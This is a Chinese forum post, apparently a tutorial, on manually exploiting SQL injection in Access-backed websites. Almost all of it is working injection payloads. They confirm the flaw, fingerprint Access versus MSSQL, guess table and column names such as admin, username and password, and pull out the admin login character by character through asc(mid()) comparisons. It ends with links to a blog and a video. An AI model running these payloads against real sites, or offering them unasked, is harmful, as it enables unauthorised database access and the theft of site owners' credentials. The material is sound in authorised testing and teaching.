SQL注入第二篇-Access数据库手工注入
Access数据库手工注入方法一
判断注入
' 出现错误 –可能存在注入漏洞
and 1=1 返回正确
and 1=2 返回错误 说明存在注入漏洞
判断数据库
and (select count(*) from msysobjects)>0 返回权限不足为access数据库
and (select count(*) from sysobjects)>0 返回正常则为MSSQL数据库
猜表名列名
and exists (select * from 表名) 猜测表名
and exists (select 列名 from 表名) 猜测列名
如:
判断是否存在admin的表:and exists (select * from admin)
判断是否存在username的列:and exists (select username from admin)
判断是否存在password的列:and exists (select password from admin)
猜解用户名和密码长度
and (select top 1 len(列名) from 表名)=X X代表数字,返回正确时代表所猜的列名长度为这个数字
如:
判断用户名的长度是否大于零:and (select top 1 len(username) from admin)>0
判断用户名的长度是否大于四:and (select top 1 len(username) from admin)>4
判断用户名的长度是否大于五:and (select top 1 len(username) from admin)>5
用户名一般都是admin,大于四返回正确,当大于五返回出错,那么他的长度就是5,密码一般是MD5加密的,所以一般都为16或32位。
猜解用户和密码的ascii码
这里应该采用截半法来提高效率。ascii码0-126。
例:
and(select top 1 asc(mid(username,1,1))from admin)>97 返回错误
and(select top 1 asc(mid(username,1,1))from admin)=97
and(select top 1 asc(mid(username,2,1))from admin)=100
and(select top 1 asc(mid(username,3,1))from admin)=109
and(select top 1 asc(mid(username,4,1))from admin)=105
and(select top 1 asc(mid(username,5,1))from admin)=110
password同理
ascii码对照表: http://ascii.911cha.com/
好像不支持写很多内容 剩下的笔记 在下面链接中 有需要的自己在博客中看一下吧
(视频在链接文章中划到最下面点在线观看就可以在线看了)
http://mucn.site/index.php/archives/59/
http://cdn.u1.huluxia.com/g3/M01/55/B5/wKgBOV5P6_2AFCL-AABGo5qMssk604.jpghttp://cdn.u1.huluxia.com/g3/M01/55/B5/wKgBOV5P6_6AIZ4CAAFZU7X02Wk055.jpg
页:
[1]